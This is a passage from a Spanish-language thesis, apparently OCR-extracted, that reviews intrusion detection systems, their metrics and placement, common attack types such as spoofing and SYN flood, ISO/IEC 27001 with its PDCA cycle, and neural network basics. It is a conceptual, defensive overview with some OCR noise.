la estrategia mas usada comercialmente. Salunkhe & Mali (2017) menciona que la
desventaja de este tipo de estrategias es que la red queda propensa a nuevos ataques 0 a
aquellos que no se encuentran registrados en su base de datos. Mientras que la estrategia
por deteccion de anomalias es todo lo contrario, esta no depende de una base de datos,
sino de perfiles; segun Mardini (2016) la informacién que estos contienen se basa en el
namero de intentos fallidos de inicio de sesidon, el uso del procesador, recuento de los

correos electronicos, entre otros. Toda la informacién que se encuentre en los perfiles se
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considera como normal y es comparada con eventos que estén fuera de los perfiles, siendo

asi considerados como anomalias en la red y el IDS enviara una alerta de intrusion.

Finalmente, se tiene un tercer grupo que se basa en el tipo de respuesta y esto se
presenta una vez que el IDS haya detectado alguna intrusion, existen dos formas de alertar
en este grupo, una pasiva y otra activa. En la alerta pasiva, se envia una notificacion ya
sea mediante un sonido o registro de las acciones ocurridas, mientras que la alerta activa
pone en ejecucion algun tipo de accidn en especifico, como puede ser el cierre de una

cuenta o la reconfiguracion del firewall (Carvajal, 2015).
2.2.2. Parametros y Métricas de desempefio de un IDS.

En la actualidad, ningun IDS es 100% efectivo tal y como lo afirma Mardini
(2016), razdn por la cual se establecen tres métricas que contribuyen a mejorar su
desempefio: Sensibilidad, Especificidad y Exactitud; estas a su vez se encuentran en
funcién de cuatro pardmetros, que son: Falso positivo (FP), Verdadero positivo (VP),
Verdadero Negativo (VN), Falso Negativo (FN); dependiendo de dos aspectos

determinantes, Deteccidn y Naturaleza del evento, tal como sefiala la Figura 9.
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También conocida como falsa Ataques detectados
alarma. Corresponde a un
evento andémalo que resulta
inofensivo desde el punto de

vista de seguridad.

Anomalia

Verdadero Positivo (VP)

Deteccion

Verdadero Negativo (VN)

Eventos inofensivos que se
han etiquetado como anormal.

Ataques no detectados

Normal

Sy

Inofensivo Ataque
Naturaleza del Evento

Figura 9. Parametros para métrica de desempefio

Fuente: Adaptado de (Mardini, 2016)

Parametros en un IDS

Los VP se caracterizan por indicar que una intrusion o ataque dentro del sistema
es verdadero, es decir, que si presenta una amenaza hacia la seguridad de la informacion,
contrario a los FP que presentan alertas que se dan cuando un valor en el sistema
sobrepasa el umbral, estos valores pueden ser: consumo de ancho de banda, nimero de
intentos al inicio de sesion, nimero de peticiones a un servidor, entre otros; aunque no
siempre serian causadas por intrusos buscando atacar al sistema sino por posibles
descuidos de los propios usuarios, ademas, cabe recalcar que este parametro es muy
delicado en un IDS, puesto que, si existen demasiados FP el IDS pierde confiabilidad y

credibilidad (Camacho, 2017; Mardini, 2016).

Por otro lado, también existe los VN y los FN, los primeros son alertas correctas

que indican que el sistema no esta siendo vulnerado, es decir, que la seguridad de la
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informacidn no tiene relacion con alguna intrusion o ataque en la red de datos. En cuanto
alos FN, se caracterizan por presentar un peligro dentro del IDS, ya que en este pardmetro
se encuentran las intrusiones o ataques que no han logrado ser detectados en el sistema,
la raz6n principal para que se den estos casos, es que los datos intrusivos no sobrepasen

los umbrales que se configuraron en los perfiles (Camacho, 2017).
Meétricas de desempefio en un IDS

Habiendo comprendido los parametros que intervienen dentro de un IDS, ahora
se describen las métricas que trabajan en funcidn a estos y como es que cada una de ellas
varia dependiendo del resultado de los parametros (Almseidin, Alzubi, Kovacs, &

Alkasassbeh, 2017; Kumar, 2015).

La Sensibilidad de un IDS consta de un valor numérico, el cual indica los casos
que pueden ser catalogados como Verdaderos Positivos (Mardini, 2016), de tal manera
que esta métrica depende tanto de los valores de los VP como de los FN, como en la

ecuacion 1 se indica.

VP

Sensibilidad = VP-I-—FN Ec.1

La Especificidad, se centra en aumentar los aciertos en funcién a los Verdaderos
Negativos (Kumar, 2015) y se encuentra representado por una expresion matematica la

cual se encuentra en la ecuacion 2, misma que depende de los VN y los FP.

Esvecificidad — VN
specificidad = VN T FP Ec. 2

La Exactitud, que segun Mardini (2016), es el grado de cercania que tienen una
cantidad de valores x al de la magnitud real, en un IDS una exactitud del 100% quiere

decir que los valores medidos, ya sean: el consumo de ancho de banda, cantidad de inicios
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de sesion, nimero de peticiones a un servidor, entre otros; son idénticos a los valores que
se dan, esta métrica viene dada por la ecuacion 3 que depende de ciertos parametros,
como: VP, VN, FP y FN.

VP * VN Ec. 3
VP + FP xFN x VN

Exactitud =

2.2.3. Ubicacién de un IDS.

La ubicacion de un IDS depende de la topologia e infraestructura de la red de datos
que tenga la organizacién ya que este sistema puede complementarse con el firewall
(Camacho, 2017; Herrera, 2015), es por esta razon que el personal encargado de la

seguridad de la informacion lo coloca delante o detras del firewall:

Las ventajas que se obtienen al colocar el IDS delante del Firewall, es que se logra
observar todo el trafico que se dirige a la red interna desde redes externas, como por
ejemplo la Internet; garantizado la deteccion de ataques que se encuentren dirigidos al
firewall principal, sin embargo, al tener demasiados datos que procesar el IDS, este genera
demasiados falsos positivos, lo cual no es conveniente en este tipo de seguridad ya que lo
vuelve desconfiable (Herrera, 2015; Ocampo, Viviana, Bermidez, & Solarte Martinez,

2017). La Figura 10 presenta la posicion del IDS delante del Firewall.
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IDS

Internet

Red Interna

Firewall

Switch

Servidor Servidor Servidor
DNS Correo Web

Figura 10. IDS ubicado delante del firewall.
Fuente: (Herrera, 2015)

En tanto que si se coloca el IDS después del Firewall este puede tener un mejor
control del trafico de informacion, ya que el firewall filtra todo el trafico no deseado que
proviene de redes externas evitando que el Sistema de Deteccidn de Intrusos genere gran
cantidad de falsos positivos, dando mas confiabilidad al sistema (Céardenas, 2016;
Herrera, 2015). No obstante, al realizar esta configuracion existe la posibilidad de que se
realicen ataques directamente desde la red interna sin que el IDS los detecte. En otras
palabras, el IDS presenta desventajas sin importar la ubicacion, es por esta razon que el
personal encargado de la seguridad de la informacion es quien toma la decision de donde

se lo debe ubicar. La Figura 11 exhibe la configuracion referida en el parrafo actual.
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Figura 11. IDS ubicado detrés del firewall

Fuente: (Herrera, 2015)
2.2.4. Funciones del IDS.

El articulo de Kairi (2017) nombra cuatro funciones que un Sistema de Deteccion
de Intrusos realiza, estas funciones son: Recoleccion de Datos, Seleccion de

Caracteristicas, Analisis y Accidn; mismas que se describen en acapites posteriores.

La Recopilacion de datos es la funcion encargada de que los datos reunidos en la
red se transformen en entrada para el IDS, todos estos datos se registran en un solo archivo
para posteriormente estudiarlos. Los NIDS al ser enfocados a red, realizan una
recopilacion de los paquetes de datos que circulan por ella, mientras que los HIDS
recopilan detalles mas enfocados al host anfitrion del IDS, tales como; el uso del disco y

los procesos del sistema (Kairi, 2017; Tayyebi & Bhilare, 2018).

La Seleccion de caracteristicas, radica en la seleccion de caracteristicas
particulares de los archivos obtenidos en la funcion anterior, por ejemplo: direcciones IP,

tipos de protocolos, longitud de cabecera, entre otros (Kairi, 2017).

La funcion de Analisis tiene como objetivo determinar la gravedad del ataque,

como se menciond en la seccion 2.2.1; existen dos tipos y dependiendo del tipo de
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estrategia de analisis que se usa el IDS concluye que acciones ejecutar (Carvajal, 2015;

Kairi, 2017).

Finalmente, la funcién de Accion depende directamente del tipo de ataque y de
como se esté administrando el IDS, ya que en los tipos de repuesta, existen una pasiva y
otra activa; la respuesta pasiva envia mensajes de alerta mediante logs, correos
electronicos al administrador, entre otros; por el contrario a la respuesta activa, produce
cambios en la red, es decir, rechaza los paquetes o cierra puertos de los servicios
afectados; es asi que, de acuerdo al tipo de accion configurado en la IDS, éste responde

al ataque (Kairi, 2017; Mardini, 2016).
2.2.5. Software IDS.

En el mercado existe gran variedad de software para IDS tanto comerciales como
de cddigo abierto (libres); en el acépite posterior se puntualizan cuatro: Snort, Security
Onion, Open Source Tripwire y Zeek, de estos se seleccionara el mas apto para ser usado

en el presente trabajo de titulacion.

Snort es un IDS de codigo abierto, el cual permite analizar el trafico de la red en
tiempo real, brindando posteriormente un registro de las alertas que se presenten, estas
alertas pueden ser causadas por coincidencias que se presenten en las reglas definidas,
desbordamiento de bufer, ataques de Interfaz de Entrada Comun (CGI) y por muchos
otros (Snort, 2020). Por otro lado, Security onion es una distribucion de Linux usado en
la exploracion de amenazas, ademas es usado a nivel empresarial ya que esta constituida
por varias herramientas encargadas de la seguridad de la informacién; por ejemplo:
Elsticsearch, Kibana, Logstacsh, Suricata, entre otras que cumplen propdsitos similares
(Security Onion, 2020). Open source Tripwire es un software destinado a brindar
seguridad e integridad a los datos, esto lo logra mediante monitoreo de la red que

posteriormente alerta en caso de presentarse cambios en los archivos y/o directorios (Cox,
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2018). Finalmente, Zeek es un software open source cuya funcion es examinar la
informacidn que circula por la red y asi detectar anomalias que puedan suscitarse en el
comportamiento de la misma, esta herramienta es usada en ciberseguridad (Bricata,

2020).

La Tabla 5 ayuda a identificar si los IDS ya citados cumplen con las caracteristicas
gue menciona Saenz & Martinez (2018) para elegir la herramienta que mejor se adapte a
esta tesina, entre estas se puede nombrar a: Desarrollo bajo Open Source, analisis de
trafico en tiempo real, facil administracion, establecimiento de reglas, entre otras

cualidades que favorezcan su uso en el presente trabajo.

Tabla 5

Caracteristicas de Software IDS

Security Open Source

Criterios Snort Onion Tripwire Zeek
Desarrollo bajo Open S| S| S| S|
Source
AnaI|S|s de trafico en S| NO S| S|
tiempo real
Féacil de administrar SI NO NO NO
Compatibilidad NO NO S| NO
Unicamente con Linux
Licencia Gratuita Sl Sl NO Sl
Alta disponibilidad Sl NO NO NO
Establecimiento de reglas Sl NO NO NO

Fuente: Adaptado de (Séenz & Martinez, 2018)

2.3. Ataques Informaticos

Junto a los temas tratados en secciones anteriores, también es necesario considerar

en las redes de comunicacion los ataques informaticos; siendo esencial empezar por su
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definicion para una mejor comprension, de forma que se establece un ataque informatico

como:

Aprovechar alguna debilidad o falla (vulnerabilidad) en el software, en el
hardware, e incluso, en las personas que forman parte de un ambiente informatico;
a fin de obtener un beneficio, por lo general de indole econémico, causando un
efecto negativo en la seguridad del sistema, que luego repercute directamente en

los activos de la organizacion (Vallejo, 2018, p. 13).
2.3.1. Anatomia de un Ataque Informatico.

En el transcurso del tiempo se han venido dando diferentes tipos de ataques
informaticos, es por esta razon que las personas especializadas en seguridad de la
informacidn han establecido fases para un ataque informatico, puesto que las personas
que hurtan la informacion siguen este patron (fases), nombrando a este conjunto de fases
como “circulo hacker”. El circulo hacker estd formado por: Reconocimiento,
Exploracion, Obtener Acceso, Mantener Acceso y Borrar Huellas, en ese orden; sin
embargo, existe un paso adicional, el cual se lo realiza en ocasiones especiales Unicamente
por auditores informaticos que se encuentren llevando a cabo un proceso de Ethical
Hacking, este paso consiste en la presentacion de un reporte acerca de las acciones
efectuadas y es conocido como Informe de Penetracion (Rodriguez & Santibafiez, 2018;

Vallejo, 2018).

A continuacién, se trata con mayor especificidad cada una de las fases que se

encuentran dentro del circulo hacker:

Fase 1: El Reconocimiento, esta fase también es conocida como footprinting y
consiste en la recoleccion de la mayor cantidad de informacion de la victima; esta puede

ser desde una persona en especifico hasta una organizacion, es asi que para esta fase, las
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herramientas méas usadas son la Internet (navegadores, redes sociales, entre otros) y la
Ingenieria Social (Dominguez L., Maya O., Peluffo O., & Crisanto N., 2017; Romero et

al., 2018).

Fase 2: Exploracion, esta usa la informacién que se obtuvo en la etapa de
Reconocimiento del objetivo o victima, donde se puede obtener informacién sobre:
direcciones IP, credenciales (usuarios y contrasefias), entre otros. Una de las herramientas
que se suele usar durante la exploracion es Nmap, ya que permite determinar los equipos
disponibles en unared y la informacion de estos (servicios que ofrecen, sistema operativo,
entre otros); sin embargo, la peculiaridad de esta herramienta es su lista de puertos, ya
que en ella muestra la informacion de sus estados (abierto o cerrado), es decir, muestra
los puertos de cada servicio y si estos se encuentran abiertos (sin proteccion) para posibles

ataques (NMAP.ORG, 2020; Rodriguez & Santibafez, 2018).

Fase 3: La tercera fase se denomina Obtener Acceso; aqui ya es posible poner en
marcha el ataque mediante la explotacion de las vulnerabilidades que fueron identificadas
en fases anteriores. Esta fase se separa en dos grupos, ataques pasivos y ataques activos

(Chéavez, 2016), mismos que se aclaran en la seccion 2.3.3.

Fase 4: Mantener Acceso, es la cuarta fase y consiste en que la vulnerabilidad que
el atacante haya encontrado se mantenga asi, en otras palabras, el atacante puede acceder
a la informacion desde cualquier sitio siempre que tenga una conexion a internet, es asi
COMO Se crean pequefios programas gque permiten esto, como: backdoors, rootkit, troyano,
entre otros; con el requisito de que estos se encuentren instalados en el sistema de la

victima para permitir el acceso a la informacion (Dominguez L. et al., 2017).

Fase 5: La fase final del circulo hacker es la de Borrar Huellas, aqui el atacante
intenta borrar todo rastro del acto que cometid, con el fin de que los encargados de la

seguridad de la red no lo detecten, por ese motivo es que se centran en eliminar archivos
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de registro (logs) o las alarmas que estos hayan generado en el IDS (Rodriguez &

Santibariez, 2018; Vallejo, 2018).
2.3.2. Elementos por proteger.

En una organizacion existen varios elementos que pueden resultar vulnerables
ante posibles ataques, comunmente el objetivo del ataque es obtener informacion sin el
consentimiento de los administradores, por esta razon es que dichos elementos reciben la
seguridad necesaria. Segin Romero et al. (2018) & Vallejo (2018) los principales
elementos son: Hardware, Software, Datos y Recursos Humanos, mismos que se

encuentran descritos en la Tabla 6.

Tabla 6

Elementos de una Organizacion

Elemento Descripcién

En este grupo se engloban los componentes fisicos que se encuentran en la
Hardware organizacion, entre los principales se encuentran: componentes de
comunicacion, cableado de la red, CPU, entre otros.

Se encuentra conformado por la parte l6gica, por ejemplo: Sistemas Operativos

Software : o L L
(siglas en inglés S.0.), aplicaciones de la organizacion, entre otros.
Este elemento puede ser considerado el mas importante en una organizacion,
Datos puesto que aqui se encuentra la informacién logica que la conforma, por
ejemplo: la base de datos, documentos, archivos, entre otros tipos de
informacion.
Recursos Es considerado el eslabdn mas débil, ya que un error de ellos puede causar la
Humanos perdida parcial o completa del trabajo en la organizacion.

Fuente: Adaptado de (Romero et al., 2018; Vallejo, 2018).

2.3.3. Tipos de Ataques.

Rodriguez & Santibafiez (2018) menciona dos tipos de ataques que pueden afectar
en forma negativa a los principales elementos (Hardware, Software, Datos y Recursos

Humanos) de una organizacion; estos ataques son conocidos como: ataques pasivos y

activos.

32



33

2.3.3.1. Ataques pasivos.

Un ataque pasivo posee la cualidad de no modificar la informacion de la victima
en ningun momento, es decir, en este tipo de ataques el objetivo es Gnicamente escuchar
y observar la informacion que esta siendo transmitida a través de la red, para asi poder
obtener lo que sea mas importante para el atacante, como contrasefias y nombres de

usuarios (Torruella, 2017).

Un claro ejemplo de este tipo de ataque es el uso de un Sniffer, el cual es un
software especializado en el andlisis del trafico de una red para posteriormente detectar y
conocer que vulnerabilidades se tiene en ella, con el fin de recabar la informacion
considerada de mayor importancia (Afias, 2018), en la Figura 12 se representa un ataque

de hombre en el medio, mismo que suele usar un Sniffer.

)

Original Connection

.........................................................................

Chuiu
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-

v
DOC R
-

MITM / Replay Server

Traffic

Victim

Attacker

Figura 12. Ataque de Hombre en el Medio

Fuente: (System Hacking, 2017). Recuperado dehttps://bit.ly/2KngpMV.
2.3.3.2. Ataques activos.

Un ataque activo es identificado por interferir en la transmision de informacion,
crear un falso flujo de datos o incluso la interrupcidn de servicios, en otras palabras, esta
forma de ataque es mas abrupta, ya que aparte de que el atacante quiere hacerse con la
informacion de la victima, éste trata de penetrar la infraestructura de la red para tomar

control de esta.
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Los ataques activos “esencialmente se pueden subdividir en: suplantacion de
identidad, reactuacion o repeticion, modificacion de mensajes y denegacion de servicios”,

tal como afirma Torruella (2017).

La Suplantacion de identidad es un método también conocido como Spoofing, y
consiste en que el atacante acceda a recursos con privilegios no autorizados dentro de la
red, todo esto lo logra haciéndose pasar por un usuario que pertenece a esa red. Unos
ejemplos de este tipo de ataque son: IP Spoofing, DNS Spoofing, SMTP Spoofing, entre
otros; siempre y cuando cumplan funciones similares (Rodriguez & Santibafiez, 2018).
En la Figura 13 se muestra el proceso del ataque de DNS Spoofing, el cual consiste en el
falseamiento de la direccion IP cuando esta realiza una consulta de resolucion de nombre,

dicho en otra forma, resuelve con una direccion IP falsa un cierto nombre DNS o

viceversa.
Client DNS Server Real Website
1. Request to

D Real Website ‘ ‘
- 1 ZE

e 3. Resolve to

Fake Website

2. Inject Fake
DNS entry
— 3
S Attacker Fake Website
DNS Spoofing

Figura 13. Ataque DNS Spoofing

Fuente: (Keycdn, 2018). Recuperado de https://bit.ly/2qRrHSL.

La Repeticion consiste en capturar mensajes que sean legitimos y repetirlos con el

fin de que el sistema los detecte como no deseados debido a su retransmision continua.
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El ataque de Modificacion de mensajes consiste en tomar una porcion del mensaje
y alterarlo o tomar un mensaje completo y reordenarlo, teniendo en cuenta que estos
mensajes sean legitimos, el objetivo de este ataque es provocar un efecto no autorizado.
Tomando como ejemplo a Afias (2018) “la falsificacion de cuentas para que un cliente
deposite cantidades de dinero de manera repetida y en cuentas diferentes a la que en

verdad debe realizarse la transaccion”.

Por ultimo, la Denegacion de servicios tiene como objetivo el quitar gran parte
del prestigio a una organizacion, ya que hace imposible el acceso a los servicios que estos
provee, esto es causado cuando el atacante inunda el servicio de mensajes o peticiones
falsas. Otro uso que le dan a este tipo de ataque es como distraccion ya que mientras el
personal este resolviendo este problema, el atacante puede estar realizando otro tipo de
intrusiones en el sistema (CCN, 2018). Algunos ejemplos de denegacién de servicios
usados por los atacantes son: Smur and Fraggle, Buffer Overflow, Ping of death,
Teardrop, SYN flood. Siendo este Gltimo el mas usado ya que el atacante envia
constantemente paquetes de sincronizacion (SYN) al servidor y este a su vez responde
con paquetes de sincronizacion reconocida (SYN-ACK) dejando asi conexiones abiertas,
debido a que el servidor no recibe los paquetes de reconocimiento (ACK) por parte del
atacante, siendo estos necesarios para completar la comunicacion entre cliente — servidor,
al existir estas conexiones abiertas impiden gue nuevos clientes legitimos puedan acceder
al servicio (Cloudflare, 2020; Romero et al., 2018), en la Figura 14 se manifiesta el

proceso de este ataque.
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Normal connection g
SYN Flood

Figura 14. Conexion Normal y Un Ataque de SYN flood

Fuente: (Morén, Ortega, Torres, 2019). Recuperado de https://bit.ly/200v81e.

2.4. Estandar ISO/IEC 27001

En el 1SO (2013) indica que la ISO/IEC 27001:2013 especifica cuales son los
requerimientos para la implementacion, el mantenimiento y la mejora continua de un
sistema de gestion de seguridad, ademas de incluir requisitos necesarios para evaluar y

tratar los riesgos en la seguridad de la informacién.

El estandar no especifica el software ni hardware que deba usarse, dando a
entender que existe la posibilidad de emplear el méas apto para la red en la organizacion;
dependiendo del tamafio y las funciones a las que se dedique, siempre y cuando se
cumplan con los principios en los que se basa el estandar ISO (2013), como son los de

mejorar la disponibilidad, integridad y confidencialidad de la informacion.

Si las recomendaciones presentadas en el estandar son aplicadas a cabalidad se
pueden obtener algunos beneficios al implementar un Sistema de Gestion de Seguridad
de la Informacion (SGSI) dentro de organizaciones, ya sean estas publicas o privadas

(ISOTools, 2016), los principales beneficios se enlistan a continuacion:
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e Tener un mejor control en cuanto a la seguridad de los activos que posee la
organizacion.

e Detectar los riesgos de la red en menor tiempo, facilitando asi su control y
eliminacion.

e Flexibilidad en cuanto a las politicas de seguridad de la red.

e Aumentar la confianza por parte de los usuarios que usan la red.
2.4.2. Objetivos de control y controles.

Los objetivos de control y controles representan las medidas que se ofrecen en una
primera fase de seguridad para la informacion, es asi que esta permitido la seleccion de
los controles més apropiados al tipo de actividad en las diferentes organizaciones (ISO

27001, 2020).

Los objetivos que se anexan en el estandar mencionan las acciones que la
organizacion esta obligada a cumplir para que la seguridad de su informacién sea la

idénea, ademas de una adecuada gestion para sus activos.

El anexo A contiene una lista bastante completa de objetivos de control y controles
comunmente relevantes para las organizaciones. Se dirige a los usuarios de este
Estandar Internacional como un punto de inicio para la seleccion de controles a
fin de asegurar que no se pase por alto ninguna opcion de control importante (I1SO,

2013).
2.4.3. Politicas de Seguridad.

Las Politicas de seguridad se encargan de mantener un nivel de proteccion
adecuado para la informacién que es enviada dentro y fuera de una organizacion, evitando

asi, que esta sea interceptada por personas mal intencionadas, en estas politicas se
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encuentran procesos que sirven a largo plazo para posibles futuros administradores que

seran responsables de esta area de la red (Pablica, Manuel, & Vifias, n.d.).

El establecimiento de buenas politicas de seguridad facilita el trabajo de las
personas que estén a cargo de la seguridad de la informacion en la organizacion, puesto
que existen casos en el que los administrativos de esta area no tienen conocimientos
previos y con apoyo de las politicas que ofrece el estandar, brindan los procesos que se
deben seguir para eliminar estos riesgos en caso de presentarse alguna intrusion o intento

de ataque a la red (PMG SSI, 2016).
2.5. Seguridad de la Informacion

Enel 1ISO (2013) se define a la seguridad de la informacién como la “preservacion
de la confidencialidad, integridad y disponibilidad de la informacién; ademas, también
pueden estar involucradas otras propiedades como la autenticidad, responsabilidad, no-

repudio y confiabilidad”.

Teniendo en cuenta esta definicion se puede observar que la informacién se ha
convertido en un activo con mucho valor dentro de una organizacién, ya que puede ayudar
a que una organizacion crezca o se destruya, ademas de que sus trabajadores o usuarios

puedan comunicarse con confianza dentro de ella.

Este tema es conformado por cuatro pilares que son fundamentales en los que se
basa la seguridad de la informacidn segun afirman OBS Business School (2020) & Tecon

(2020), dichos pilares se encuentran definidos en la Tabla 7.

Tabla 7

Pilares de la Seguridad de la Informacion

Pilares Definicion

Disponibilidad El acceso a la informacion esta cuando se requiera.
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Confidencialidad La informacién es accesible solo para personal autorizado.

Integridad La informacion correcta sin modificaciones no autorizadas ni errores.

Autenticacion La informacidn procedente de un usuario que es quien dice ser.

Fuente: (Tecon, 2020)

2.5.1. Modelo PDCA.

El estandar ISO/IEC 27001 emplea el modelo PDCA (Plan, Do, Check, Act) cada
una de sus siglas significa en espafol: Planificar, Hacer, Verificar y Actuar. Este modelo
ofrece una mejora continua (ciclo constante) en la gestion de la seguridad para los activos
que presente la organizacién tal como se exhibe en la Figura 15. En este sentido ESAN
(2016) afirma que una organizacion debe tener claro cuéles son los elementos que se
toman en cuenta al momento de establecer las politicas de seguridad para la informacion.
En el siguiente acépite, se profundizan las acciones que llevan a cabo cada una de las

etapas ya mencionadas en esta seccion.

Actuar Planificar

Verificar Hacer

Figura 15. Modelo PDCA

Fuente: Autoria propia
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La etapa de Planificar se encarga de definir politicas de seguridad relevantes en
la organizacion, ademas de realizar un analisis de posibles riesgos posteriores que esta
pudiese llegar a tener, estableciendo asi las respectivas autoridades y responsables de
estas politicas. Hacer es la segunda etapa y consiste en ejecutar las politicas que se hayan
definido en la fase anterior, esto se logra con la asignacion de acciones para cada politica
de seguridad. La tercera etapa es conocida como Verificar y mantiene una revision
continua del desempefio que posee el sistema de seguridad, obteniendo asi reportes de la
situacion en la que se encuentre. La Ultima etapa es Actuar y permite efectuar acciones
correctivas 0 preventivas, todo dependiendo de los reportes que se presenten, estas

acciones se encargaran de riesgos futuros (1SO, 2013).
2.6. Neuronas Biologicas y Artificiales

Para entender la arquitectura de una neurona artificial es necesario empezar por
definir como se constituye una neurona biolédgica. La Figura 16 indica las partes que
conforman una neurona biol6gica, en donde las Dendritas representan las entradas de
informacidn de las neuronas, misma que es procesada por el Nucleo para posteriormente
transmitirla a través del Axon, el cual posee ramificaciones que conectan a entradas
(dendritas) de otras neuronas; el proceso producido por la conexion entre neuronas es
conocido como sinapsis 0 neurotransmisores. Se dice que hay alrededor de 10*! neuronas
en el cerebro humano y cada neurona puede recibir informacion de 5,000 a 15,000

entradas de axones de otras neuronas (Cuevas-Tello, 2018).
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é Neurotransmisores
|

Figura 16. Neurona bioldgica
Fuente: (Caicedo B & L6pez S, 2017)
Por otra parte, las neuronas artificiales estin compuestas segin Novas Otero
(2018) & Palacios (2019) por los siguientes elementos: entradas, pesos sinapticos,
funcién de agregacién y funcién de activacion; estos elementos son puntualizados mas

adelante.

Estimulos Externos Cuerno
o Salidas de otras Sinapsis P Axon
Celular
nueronas

X — (W)
—~
X, W) r .Y
/
X3 —»@/

Variables de P Funcién de Funcion de Variable de
Entrada €808 Agregacion Activacion Salida

Figura 17. Modelo de una Neurona Artificial
Fuente: (Fernandez, 2009). Recuperado de http://www.scielo.org.co/pdf/abc/v14n3/v14n3a6.pdf.
La Figura 17 describe la arquitectura de una Neurona Atrtificial, en donde, (X1,
X2, ..., Xn) denotan las variables (estimulos) de entradas o de salidas en otras neuronas;
mientras que, (W1, W2, ..., Wh) indican los pesos sinapticos. El resultado de la

multiplicacion entre entradas y pesos sindpticos es acumulado en una sumatoria (})), a
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este proceso se lo denomina funcion de agregacion; finalmente los valores resultantes de
dicha sumatoria son valorados por una funcion de activacion (I') para asi obtener una

sefial de salida Y (Calvo, 2017).

En este sentido, la funcion de las Entradas, es receptar los datos que envian otras
neuronas, en comparacion a una neurona biologica esta funcion vendria a ser las dendritas
(Palacios, 2019). Por otra parte, los Pesos Sinapticos toman valores numericos que varian
durante el entrenamiento de la red neuronal, la variacién siempre depende del proposito
que tenga la red; en una neurona artificial se referencia un factor de importancia que es el

peso asignado a los datos que vienen de otras neuronas (Acevedo, Serna, & Serna, 2017).

La Funcion de Agregacion se obtiene luego de haber determinado las entradas y
los pesos sinapticos; basado en estos valores se obtiene el valor del potencial
postsinaptico. La operacién empleada en estos casos, es la sumatoria de todas las entradas,
sin olvidar el peso sindptico que esté relacionado (multiplicado) a cada una de ellas, ya
que es la importancia que cada entrada tiene (Grediaga, Ibarra, Ledesma, & Brotons,
2016). A esta operacion se la conoce como suma ponderada y esta representada por la

Ec.4.

N
Net; = Z X, W, Ec. 4
i=0

Donde X,, representa las entradas, I, son los pesos sinapticos y N representa la

cantidad de veces que se realiza la operacion.

Una vez que se tenga el resultado de la funcidn de agregacion, esta se procesa por
una funcién conocida como Funcidn de Activacion y su resultado viene a ser la salida de

la neurona. Existen varias funciones de activacion y cada una es usada dependiendo del
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propdsito que tenga la red neuronal; Novas Otero (2018) nombra las mas usuales, las

cuales se muestran en la Tabla 8.

Tabla 8

Funciones de activacion mas usuales

Nombre Funcién Rango Gréfica
I
Identidad y=x [—00, +00] X
)
. y = sign(x) {-1,+1}
Escalon v
y = H(x) {0, +1} ;
Jid
—1,six < -1
Linea a tramos y=3x,si +1<x <1 [—1, +1] 3 R
+1,six > +1
1 Jix)
. . y = — [0, +1]
Sigmoide 1+e™* {1
-1, +
y = tgh(x) =1, +1]
Jix)
Gaussiana y = Ae~B%° [0, +1] _/\
— .
Jw
Sinusoidal y = Asen(wx + @) [—1, +1] v

Fuente: (Palacios, 2019)

2.7. Redes Neuronales Artificiales (RNA)

Las RNA se crean con la necesidad que tiene el ser humano de imitar “lo que por

muchos es conocido como la maquina perfecta: el cerebro humano” (Caicedo B & Lopez
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S, 2017). Estas RNA surgen con el fin de modelar tanto como; la inteligencia humana, su
estructura y los procesos de razonamiento que pasan en el cerebro. En el articulo de Jirén
(2015) se define a la RNA como “un procesador masivamente distribuido y paralelo, es
decir, es un computador capaz de desarrollar muchas tareas en forma simultanea”. Las

neuronas artificiales que conforman las RNA son basadas en las neuronas biologicas.
2.7.1. Arquitecturas de una Red Neuronal Artificial (RNA).

En Jiron (2015) se define a la arquitectura de una RNA como la organizacion e
interaccion que tiene cada una de las neuronas que conforman la red, ademéas menciona
que hay tres clases diferentes: Redes neuronales monocapa, Redes neuronales multicapa

y Redes neuronales recurrentes.

La primera clase esta compuesta por las Redes neuronales monocapa y se
caracterizan por no poseer capas ocultas, es decir, solo cuentan con una capa de entrada
y otra de salida, tal como se observa en la Figura 18. Este tipo de redes neuronales son
comunmente usadas en reconstruccién de sefiales o0 memorias asociativas (Novas Otero,

2018).

Capa

.

ENTRADAS
SALIDAS

L4

Figura 18. Red neuronal monocapa

Fuente: (J. Pérez, 2017)
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Las Redes neuronales multicapas son la segunda clase y se diferencian con la
anterior ya que ademas de componerse por una capa de entrada y otra de salida, estas
poseen capas intermedias que llevan el nombre de capas ocultas, son llamadas asi, puesto
que no interviene con los datos que se presentan al final (Stephen, 2015). Un modelo de

esta clase esta manifestado en la Figura 19.

Capa Capa Capa Capa | Capade
Entrada | ocylta | Oculta | Oculta = Oculta | Salida

H0 0o

Figura 19. Red neuronal multicapa
Fuente: (J. Pérez, 2017)

Por altimo est&n las Redes neuronales recurrentes (Feedback); algo que tienen en
comun con las anteriores arquitecturas, es que ambas van en una sola direccion, dicho de
otra manera, la informacion va desde la capa de entrada hacia la capa de salida, sin
embargo, la red neuronal recurrente se conecta a capas de niveles anteriores con el fin de
generar un proceso de retroalimentacion, lo que hace posible que la informacidon de estas
redes fluya tanto hacia adelante como hacia atras (Jirén, 2015). Un modelo de esta red se

observa en la Figura 20.
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Entrada Capa Salida
Oculta

Figura 20. Red neuronal recurrente

Fuente: (J. Pérez, 2017)
2.7.2. Aprendizaje.

El termino aprendizaje es definido por Caicedo B & Lépez S (2017) como el
proceso que permite apropiarse del conocimiento, todo esto mediante previo estudio o
experiencias vividas. En las redes neuronales artificiales dicho proceso es similar, ya que
estas se van a comportar de forma diferente dependiendo del entorno en que se encuentran
y de los pesos sindpticos que tengan programados, estos Ultimos a su vez van a depender
del algoritmo o regla de aprendizaje que se utilice. Aqui se detallan dos tipos de

aprendizaje: el supervisado y el no supervisado

El Aprendizaje Supervisado se caracteriza por tener un Supervisor 0 maestro,
quien es un agente externo encargado de guiar el aprendizaje de la red. Para que esto sea
posible el supervisor tiene la obligacion de conocer cuéles son las entradas y las salidas

correspondientes a cada una de ellas (Caicedo B & Lopez S, 2017).

En tanto que el Aprendizaje No supervisado no posee un supervisor que ayude con
la guia del aprendizaje, dicho de otra manera, los datos entran directamente a la red sin

ninguna etiqueta que identifigue su salida. Sin embargo, para el aprendizaje no
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supervisado, se necesitan una cantidad menor de datos de entrada para que este brinde el

resultado deseado (Stephen, 2015).
2.8. Trabajos Relacionados

Esta Gltima seccion menciona trabajos que se relacionan con lo que propone la
presente tesina, con el proposito de ser comparados entre si, de esta manera se puntualiza

cuatro de ellos en los siguientes acapites.

El trabajo de Manso, Moura, & Serrdo (2019) propone un IDS integrado a la SDN
funcionando de esta manera; en el momento que el IDS detecta ataques DDoS, este envia
